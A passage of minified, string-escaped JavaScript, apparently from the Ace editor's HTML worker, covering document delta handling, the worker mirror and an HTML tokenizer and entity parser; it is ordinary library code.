this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/html/saxparser\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);throw new Error(\"Cannot find module '\"+u+\"'\")}var l=n[u]={exports:{}};t[u][0].call(l.exports,function(e){var n=t[u][1][e];return s(n?n:e)},l,l.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){function r(e){if(e.namespaceURI===\"http://www.w3.org/1999/xhtml\")return e.localName===\"applet\"||e.localName===\"caption\"||e.localName===\"marquee\"||e.localName===\"object\"||e.localName===\"table\"||e.localName===\"td\"||e.localName===\"th\";if(e.namespaceURI===\"http://www.w3.org/1998/Math/MathML\")return e.localName===\"mi\"||e.localName===\"mo\"||e.localName===\"mn\"||e.localName===\"ms\"||e.localName===\"mtext\"||e.localName===\"annotation-xml\";if(e.namespaceURI===\"http://www.w3.org/2000/svg\")return e.localName===\"foreignObject\"||e.localName===\"desc\"||e.localName===\"title\"}function i(e){return r(e)||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"ol\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"ul\"}function s(e){return e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"table\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"html\"}function o(e){return e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"tbody\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"tfoot\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"thead\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"html\"}function u(e){return e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"tr\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"html\"}function a(e){return r(e)||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"button\"}function f(e){return(e.namespaceURI!==\"http://www.w3.org/1999/xhtml\"||e.localName!==\"optgroup\")&&(e.namespaceURI!==\"http://www.w3.org/1999/xhtml\"||e.localName!==\"option\")}function l(){this.elements=[],this.rootNode=null,this.headElement=null,this.bodyElement=null}l.prototype._inScope=function(e,t){for(var n=this.elements.length-1;n>=0;n--){var r=this.elements[n];if(r.localName===e)return!0;if(t(r))return!1}},l.prototype.push=function(e){this.elements.push(e)},l.prototype.pushHtmlElement=function(e){this.rootNode=e.node,this.push(e)},l.prototype.pushHeadElement=function(e){this.headElement=e.node,this.push(e)},l.prototype.pushBodyElement=function(e){this.bodyElement=e.node,this.push(e)},l.prototype.pop=function(){return this.elements.pop()},l.prototype.remove=function(e){this.elements.splice(this.elements.indexOf(e),1)},l.prototype.popUntilPopped=function(e){var t;do t=this.pop();while(t.localName!=e)},l.prototype.popUntilTableScopeMarker=function(){while(!s(this.top))this.pop()},l.prototype.popUntilTableBodyScopeMarker=function(){while(!o(this.top))this.pop()},l.prototype.popUntilTableRowScopeMarker=function(){while(!u(this.top))this.pop()},l.prototype.item=function(e){return this.elements[e]},l.prototype.contains=function(e){return this.elements.indexOf(e)!==-1},l.prototype.inScope=function(e){return this._inScope(e,r)},l.prototype.inListItemScope=function(e){return this._inScope(e,i)},l.prototype.inTableScope=function(e){return this._inScope(e,s)},l.prototype.inButtonScope=function(e){return this._inScope(e,a)},l.prototype.inSelectScope=function(e){return this._inScope(e,f)},l.prototype.hasNumberedHeaderElementInScope=function(){for(var e=this.elements.length-1;e>=0;e--){var t=this.elements[e];if(t.isNumberedHeader())return!0;if(r(t))return!1}},l.prototype.furthestBlockForFormattingElement=function(e){var t=null;for(var n=this.elements.length-1;n>=0;n--){var r=this.elements[n];if(r.node===e)break;r.isSpecial()&&(t=r)}return t},l.prototype.findIndex=function(e){for(var t=this.elements.length-1;t>=0;t--)if(this.elements[t].localName==e)return t;return-1},l.prototype.remove_openElements_until=function(e){var t=!1,n;while(!t)n=this.elements.pop(),t=e(n);return n},Object.defineProperty(l.prototype,\"top\",{get:function(){return this.elements[this.elements.length-1]}}),Object.defineProperty(l.prototype,\"length\",{get:function(){return this.elements.length}}),n.ElementStack=l},{}],2:[function(e,t,n){function o(e){return e>=\"0\"&&e<=\"9\"||e>=\"a\"&&e<=\"z\"||e>=\"A\"&&e<=\"Z\"}function u(e){return e>=\"0\"&&e<=\"9\"||e>=\"a\"&&e<=\"f\"||e>=\"A\"&&e<=\"F\"}function a(e){return e>=\"0\"&&e<=\"9\"}var r=e(\"html5-entities\"),i=e(\"./InputStream\").InputStream,s={};Object.keys(r).forEach(function(e){for(var t=0;t<e.length;t++)s[e.substring(0,t+1)]=!0});var f={};f.consumeEntity=function(e,t,n){var f=\"\",l=\"\",c=e.char();if(c===i.EOF)return!1;l+=c;if(c==\"\t\"||c==\"\\n\"||c==\"\u000b\"||c==\" \"||c==\"<\"||c==\"&\")return e.unget(l),!1;if(n===c)return e.unget(l),!1;if(c==\"#\"){c=e.shift(1);if(c===i.EOF)return t._parseError(\"expected-numeric-entity-but-got-eof\"),e.unget(l),!1;l+=c;var h=10,p=a;if(c==\"x\"||c==\"X\"){h=16,p=u,c=e.shift(1);if(c===i.EOF)return t._parseError(\"expected-numeric-entity-but-got-eof\"),e.unget(l),!1;l+=c}if(p(c)){var d=\"\";while(c!==i.EOF&&p(c))d+=c,c=e.char();d=parseInt(d,h);var v=this.replaceEntityNumbers(d);v&&(t._parseError(\"invalid-numeric-entity-replaced\"),d=v);if(d>65535&&d<=1114111){d-=65536;var m=((1047552&d)>>10)+55296,g=(1023&d)+56320;f=String.fromCharCode(m,g)}else f=String.fromCharCode(d);return c!==\";\"&&(t._parseError(\"numeric-entity-without-semicolon\"),e.unget(c)),f}return e.unget(l),t._parseError(\"expected-numeric-entity\"),!1}if(c>=\"a\"&&c<=\"z\"||c>=\"A\"&&c<=\"Z\"){var y=\"\";while(s[l]){r[l]&&(y=l);if(c==\";\")break;c=e.char();if(c===i.EOF)break;l+=c}return y?(f=r[y],c===\";\"||!n||!o(c)&&c!==\"=\"?(l.length>y.length&&e.unget(l.substring(y.length)),c!==\";\"&&t._parseError(\"named-entity-without-semicolon\"),f):(e.unget(l),!1)):(t._parseError(\"expected-named-entity\"),e.unget(l),!1)}},f.replaceEntityNumbers=function(e){switch(e){case 0:return 65533;case 19:return 16;case 128:return 8364;case 129:return 129;case 130:return 8218;case 131:return 402;case 132:return 8222;case 133:return 8230;case 134:return 8224;case 135:return 8225;case 136:return 710;case 137:return 8240;case 138:return 352;case 139:return 8249;case 140:return 338;case 141:return 141;case 142:return 381;case 143:return 143;case 144:return 144;case 145:return 8216;case 146:return 8217;case 147:return 8220;case 148:return 8221;case 149:return 8226;case 150:return 8211;case 151:return 8212;case 152:return 732;case 153:return 8482;case 154:return 353;case 155:return 8250;case 156:return 339;case 157:return 157;case 158:return 382;case 159:return 376;default:if(e>=55296&&e<=57343||e>1114111)return 65533;if(e>=1&&e<=8||e>=14&&e<=31||e>=127&&e<=159||e>=64976&&e<=65007||e==11||e==65534||e==131070||e==3145726||e==196607||e==262142||e==262143||e==327678||e==327679||e==393214||e==393215||e==458750||e==458751||e==524286||e==524287||e==589822||e==589823||e==655358||e==655359||e==720894||e==720895||e==786430||e==786431||e==851966||e==851967||e==917502||e==917503||e==983038||e==983039||e==1048574||e==1048575||e==1114110||e==1114111)return e}},n.EntityParser=f},{\"./InputStream\":3,\"html5-entities\":12}],3:[function(e,t,n){function r(){this.data=\"\",this.start=0,this.committed=0,this.eof=!1,this.lastLocation={line:0,column:0}}r.EOF=-1,r.DRAIN=-2,r.prototype={slice:function(){if(this.start>=this.data.length){if(!this.eof)throw r.DRAIN;return r.EOF}return this.data.slice(this.start,this.data.length)},\"char\":function(){if(!this.eof&&this.start>=this.data.length-1)throw r.DRAIN;if(this.start>=this.data.length)return r.EOF;var e=this.data[this.start++];return e===\"\\r\"&&(e=\"\\n\"),e},advance:function(e){this.start+=e;if(this.start>=this.data.length){if(!this.eof)throw r.DRAIN;return r.EOF}this.committed>this.data.length/2&&(this.lastLocation=this.location(),this.data=this.data.slice(this.committed),this.start=this.start-this.committed,this.committed=0)},matchWhile:function(e){if(this.eof&&this.start>=this.data.length)return\"\";var t=new RegExp(\"^\"+e+\"+\"),n=t.exec(this.slice());if(n){if(!this.eof&&n[0].length==this.data.length-this.start)throw r.DRAIN;return this.advance(n[0].length),n[0]}return\"\"},matchUntil:function(e){var t,n;n=this.slice();if(n===r.EOF)return\"\";if(t=(new RegExp(e+(this.eof?\"|$\":\"\"))).exec(n)){var i=this.data.slice(this.start,this.start+t.index);return this.advance(t.index),i.replace(/\\r/g,\"\\n\").replace(/\\n{2,}/g,\"\\n\")}throw r.DRAIN},append:function(e){this.data+=e},shift:function(e){if(!this.eof&&this.start+e>=this.data.length)throw r.DRAIN;if(this.eof&&this.start>=this.data.length)return r.EOF;var t=this.data.slice(this.start,this.start+e).toString();return this.advance(Math.min(e,this.data.length-this.start)),t},peek:function(e){if(!this.eof&&this.start+e>=this.data.length)throw r.DRAIN;return this.eof&&this.start>=this.data.length?r.EOF:this.data.slice(this.start,Math.min(this.start+e,this.data.length)).toString()},length:function(){return this.data.length-this.start-1},unget:function(e){if(e===r.EOF)return;this.start-=e.length},undo:function(){this.start=this.committed},commit:function(){this.committed=this.start},location:function(){var e=this.lastLocation.line,t=this.lastLocation.column,n=this.data.slice(0,this.committed),r=n.match(/\\n/g),i=r?e+r.length:e,s=r?n.length-n.lastIndexOf(\"\\n\")-1:t+n.length;return{line:i,column:s}}},n.InputStream=r},{}],4:[function(e,t,n){function i(e,t,n,r){this.localName=t,this.namespaceURI=e,this.attributes=n,this.node=r}function s(e,t){for(var n=0;n<e.attributes.length;n++)if(e.attributes[n].nodeName==t)return e.attributes[n].nodeValue;return null}var r={\"http://www.w3.org/1999/xhtml\":[\"address\",\"applet\",\"area\",\"article\",\"aside\",\"base\",\"basefont\",\"bgsound\",\"blockquote\",\"body\",\"br\",\"button\",\"caption\",\"center\",\"col\",\"colgroup\",\"dd\",\"details\",\"dir\",\"div\",\"dl\",\"dt\",\"embed\",\"fieldset\",\"figcaption\",\"figure\",\"footer\",\"form\",\"frame\",\"frameset\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"head\",\"header\",\"hgroup\",\"hr\",\"html\",\"iframe\",\"img\",\"input\",\"isindex\",\"li\",\"link\",\"listing\",\"main\",\"marquee\",\"menu\",\"menuitem\",\"meta\",\"nav\",\"noembed\",\"noframes\",\"noscript\",\"object\",\"ol\",\"p\",\"param\",\"plaintext\",\"pre\",\"script\",\"section\",\"select\",\"source\",\"style\",\"summary\",\"table\",\"tbody\",\"td\",\"textarea\",\"tfoot\",\"th\",\"thead\",\"title\",\"tr\",\"track\",\"ul\",\"wbr\",\"xmp\"],\"http://www.w3.org/1998/Math/MathML\":[\"mi\",\"mo\",\"mn\",\"ms\",\"mtext\",\"annotation-xml\"],\"http://www.w3.org/2000/svg\":[\"foreignObject\",\"desc\",\"title\"]};i.prototype.isSpecial=function(){return this.namespaceURI in r&&r[this.namespaceURI].indexOf(this.localName)>-1},i.prototype.isFosterParenting=function(){return this.namespaceURI===\"http://www.w3.org/1999/xhtml\"?this.localName===\"table\"||this.localName===\"tbody\"||this.localName===\"tfoot\"||this.localName===\"thead\"||this.localName===\"tr\":!1},i.prototype.isNumberedHeader=function(){return this.namespaceURI===\"http://www.w3.org/1999/xhtml\"?this.localName===\"h1\"||this.localName===\"h2\"||this.localName===\"h3\"||this.localName===\"h4\"||this.localName===\"h5\"||this.localName===\"h6\":!1},i.prototype.isForeign=function(){return this.namespaceURI!=\"http://www.w3.org/1999/xhtml\"},i.prototype.isHtmlIntegrationPoint=function(){if(this.namespaceURI===\"http://www.w3.org/1998/Math/MathML\"){if(this.localName!==\"annotation-xml\")return!1;var e=s(this,\"encoding\");return e?(e=e.toLowerCase(),e===\"text/html\"||e===\"application/xhtml+xml\"):!1}return this.namespaceURI===\"http://www.w3.org/2000/svg\"?this.localName===\"foreignObject\"||this.localName===\"desc\"||this.localName===\"title\":!1},i.prototype.isMathMLTextIntegrationPoint=function(){return this.namespaceURI===\"http://www.w3.org/1998/Math/MathML\"?this.localName===\"mi\"||this.localName===\"mo\"||this.localName===\"mn\"||this.localName===\"ms\"||this.localName===\"mtext\":!1},n.StackItem=i},{}],5:[function(e,t,n){function s(e){return e===\" \"||e===\"\\n\"||e===\"\t\"||e===\"\\r\"||e===\"\\f\"}function o(e){return e>=\"A\"&&e<=\"Z\"||e>=\"a\"&&e<=\"z\"}function u(e){this._tokenHandler=e,this._state=u.DATA,this._inputStream=new r,this._currentToken=null,this._temporaryBuffer=\"\",this._additionalAllowedCharacter=\"\"}var r=e(\"./InputStream\").InputStream,i=e(\"./EntityParser\").EntityParser;u.prototype._parseError=function(e,t){this._tokenHandler.parseError(e,t)},u.prototype._emitToken=function(e){if(e.type===\"StartTag\")for(var t=1;t<e.data.length;t++)e.data[t].nodeName||e.data.splice(t--,1);else e.type===\"EndTag\"&&(e.selfClosing&&this._parseError(\"self-closing-flag-on-end-tag\"),e.data.length!==0&&this._parseError(\"attributes-in-end-tag\"));this._tokenHandler.processToken(e),e.type===\"StartTag\"&&e.selfClosing&&!this._tokenHandler.isSelfClosingFlagAcknowledged()&&this._parseError(\"non-void-element-with-trailing-solidus\",{name:e.name})},u.prototype._emitCurrentToken=function(){this._state=u.DATA,this._emitToken(this._currentToken)},u.prototype._currentAttribute=function(){return this._currentToken.data[this._currentToken.data.length-1]},u.prototype.setState=function(e){this._state=e},u.prototype.tokenize=function(e){function n(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"&\")t.setState(a);else if(n===\"<\")t.setState(j);else if(n===\"\\0\")t._emitToken({type:\"Characters\",data:n}),e.commit();else{var i=e.matchUntil(\"&|<|\\0\");t._emitToken({type:\"Characters\",data:n+i}),e.commit()}return!0}function a(e){var r=i.consumeEntity(e,t);return t.setState(n),t._emitToken({type:\"Characters\",data:r||\"&\"}),!0}function f(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"&\")t.setState(l);else if(n===\"<\")t.setState(d);else if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"&|<|\\0\");t._emitToken({type:\"Characters\",data:n+i}),e.commit()}return!0}function l(e){var n=i.consumeEntity(e,t);return t.setState(f),t._emitToken({type:\"Characters\",data:n||\"&\"}),!0}function c(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"<\")t.setState(g);else if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"<|\\0\");t._emitToken({type:\"Characters\",data:n+i})}return!0}function h(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"\\0\");t._emitToken({type:\"Characters\",data:n+i})}return!0}function p(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"<\")t.setState(w);else if(n===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var i=e.matchUntil(\"<|\\0\");t._emitToken({type:\"Characters\",data:n+i})}return!0}function d(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(v)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(f)),!0}function v(e){var n=e.char();return o(n)?(this._temporaryBuffer+=n,t.setState(m)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(f)),!0}function m(e){var r=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),i=e.char();return s(i)&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(q)):i===\"/\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(K)):i===\">\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t._emitCurrentToken(),t.setState(n)):o(i)?(this._temporaryBuffer+=i,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(i),t.setState(f)),!0}function g(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(y)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(c)),!0}function y(e){var n=e.char();return o(n)?(this._temporaryBuffer+=n,t.setState(b)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(c)),!0}function b(e){var r=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),i=e.char();return s(i)&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(q)):i===\"/\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t.setState(K)):i===\">\"&&r?(t._currentToken={type:\"EndTag\",name:this._temporaryBuffer,data:[],selfClosing:!1},t._emitCurrentToken(),t.setState(n)):o(i)?(this._temporaryBuffer+=i,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(i),t.setState(c)),!0}function w(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(E)):n===\"!\"?(t._emitToken({type:\"Characters\",data:\"<!\"}),t.setState(x)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(p)),!0}function E(e){var n=e.char();return o(n)?(this._temporaryBuffer+=n,t.setState(S)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(p)),!0}function S(e){var n=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),r=e.char();return s(r)&&n?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(q)):r===\"/\"&&n?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(K)):r===\">\"&&n?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t._emitCurrentToken()):o(r)?(this._temporaryBuffer+=r,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(r),t.setState(p)),!0}function x(e){var n=e.char();return n===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(T)):(e.unget(n),t.setState(p)),!0}function T(e){var n=e.char();return n===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(k)):(e.unget(n),t.setState(p)),!0}function N(e){var i=e.char();if(i===r.EOF)e.unget(i),t.setState(n);else if(i===\"-\")t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(C);else if(i===\"<\")t.setState(L);else if(i===\"\\0\")t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit();else{var s=e.matchUntil(\"<|-|\\0\");t._emitToken({type:\"Characters\",data:i+s})}return!0}function C(e){var i=e.char();return i===r.EOF?(e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(k)):i===\"<\"?t.setState(L):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(N)):(t._emitToken({type:\"Characters\",data:i}),t.setState(N)),!0}function k(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"<\"?t.setState(L):i===\">\"?(t._emitToken({type:\"Characters\",data:\">\"}),t.setState(p)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(N)):(t._emitToken({type:\"Characters\",data:i}),t.setState(N)),!0}function L(e){var n=e.char();return n===\"/\"?(this._temporaryBuffer=\"\",t.setState(A)):o(n)?(t._emitToken({type:\"Characters\",data:\"<\"+n}),this._temporaryBuffer=n,t.setState(M)):(t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(n),t.setState(N)),!0}function A(e){var n=e.char();return o(n)?(this._temporaryBuffer=n,t.setState(O)):(t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(n),t.setState(N)),!0}function O(e){var r=t._currentToken&&t._currentToken.name===this._temporaryBuffer.toLowerCase(),i=e.char();return s(i)&&r?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(q)):i===\"/\"&&r?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(K)):i===\">\"&&r?(t._currentToken={type:\"EndTag\",name:\"script\",data:[],selfClosing:!1},t.setState(n),t._emitCurrentToken()):o(i)?(this._temporaryBuffer+=i,e.commit()):(t._emitToken({type:\"Characters\",data:\"</\"+this._temporaryBuffer}),e.unget(i),t.setState(N)),!0}function M(e){var n=e.char();return s(n)||n===\"/\"||n===\">\"?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer.toLowerCase()===\"script\"?t.setState(_):t.setState(N)):o(n)?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer+=n,e.commit()):(e.unget(n),t.setState(N)),!0}function _(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(D)):i===\"<\"?(t._emitToken({type:\"Characters\",data:\"<\"}),t.setState(H)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),e.commit()):(t._emitToken({type:\"Characters\",data:i}),e.commit()),!0}function D(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),t.setState(P)):i===\"<\"?(t._emitToken({type:\"Characters\",data:\"<\"}),t.setState(H)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(_)):(t._emitToken({type:\"Characters\",data:i}),t.setState(_)),!0}function P(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-script\"),e.unget(i),t.setState(n)):i===\"-\"?(t._emitToken({type:\"Characters\",data:\"-\"}),e.commit()):i===\"<\"?(t._emitToken({type:\"Characters\",data:\"<\"}),t.setState(H)):i===\">\"?(t._emitToken({type:\"Characters\",data:\">\"}),t.setState(p)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._emitToken({type:\"Characters\",data:\"\\ufffd\"}),t.setState(_)):(t._emitToken({type:\"Characters\",data:i}),t.setState(_)),!0}function H(e){var n=e.char();return n===\"/\"?(t._emitToken({type:\"Characters\",data:\"/\"}),this._temporaryBuffer=\"\",t.setState(B)):(e.unget(n),t.setState(_)),!0}function B(e){var n=e.char();return s(n)||n===\"/\"||n===\">\"?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer.toLowerCase()===\"script\"?t.setState(N):t.setState(_)):o(n)?(t._emitToken({type:\"Characters\",data:n}),this._temporaryBuffer+=n,e.commit()):(e.unget(n),t.setState(_)),!0}function j(e){var i=e.char();return i===r.EOF?(t._parseError(\"bare-less-than-sign-at-eof\"),t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(i),t.setState(n)):o(i)?(t._currentToken={type:\"StartTag\",name:i.toLowerCase(),data:[]},t.setState(I)):i===\"!\"?t.setState(G):i===\"/\"?t.setState(F):i===\">\"?(t._parseError(\"expected-tag-name-but-got-right-bracket\"),t._emitToken({type:\"Characters\",data:\"<>\"}),t.setState(n)):i===\"?\"?(t._parseError(\"expected-tag-name-but-got-question-mark\"),e.unget(i),t.setState(Q)):(t._parseError(\"expected-tag-name\"),t._emitToken({type:\"Characters\",data:\"<\"}),e.unget(i),t.setState(n)),!0}function F(e){var i=e.char();return i===r.EOF?(t._parseError(\"expected-closing-tag-but-got-eof\"),t._emitToken({type:\"Characters\",data:\"</\"}),e.unget(i),t.setState(n)):o(i)?(t._currentToken={type:\"EndTag\",name:i.toLowerCase(),data:[]},t.setState(I)):i===\">\"?(t._parseError(\"expected-closing-tag-but-got-right-bracket\"),t.setState(n)):(t._parseError(\"expected-closing-tag-but-got-char\",{data:i}),e.unget(i),t.setState(Q)),!0}function I(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-tag-name\"),e.unget(i),t.setState(n)):s(i)?t.setState(q):o(i)?t._currentToken.name+=i.toLowerCase():i===\">\"?t._emitCurrentToken():i===\"/\"?t.setState(K):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.name+=\"\\ufffd\"):t._currentToken.name+=i,e.commit(),!0}function q(e){var 